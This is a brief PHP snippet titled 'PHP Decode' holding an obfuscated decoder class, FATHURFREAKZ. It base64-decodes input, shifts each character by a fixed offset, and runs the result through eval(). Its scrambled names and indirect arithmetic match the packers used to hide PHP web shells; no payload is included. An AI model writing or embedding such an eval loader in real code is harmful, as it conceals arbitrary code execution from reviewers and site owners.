PHP Decode

<?php ?><?php class FATHURFREAKZ { 
    var $b0a32awk1kms23lw4q = 8; 
    var $wd3t2r3w32z3mjymxw = "19"; 
    var $wd23w3azdwxa23mj0w = 7; 
    public function DE($code) { 
        $wdd3k2a1a3dkdlsm0w = "Ng=="; 
        $awef2o58i7q130wm6e = "forward"; 
        $xw3f2o500zq50wm6h = $awef2o58i7q130wm6e[($this->b0a32awk1kms23lw4q - 8) + 1] . $awef2o58i7q130wm6e[5] . $awef2o58i7q130wm6e[$this->wd23w3azdwxa23mj0w - 1]; 
        $code = substr(base64_decode(substr($code, base64_decode($wdd3k2a1a3dkdlsm0w) + $this->wd23w3azdwxa23mj0w, strlen($code))), 32, strlen($code)); 
        for ($i = $this->b0a32awk1kms23lw4q - 8;$i < strlen($code);$i++) { 
            $code[$i] = chr($xw3f2o500zq50wm6h($code[$i]) - ((2 + ($this->wd23w3azdwxa23mj0w - 5)) + $this->wd3t2r3w32z3mjymxw)); 
        } 
        return eval("?>" . $code); 
    } 
} 
$engine = new FATHURFREAKZ;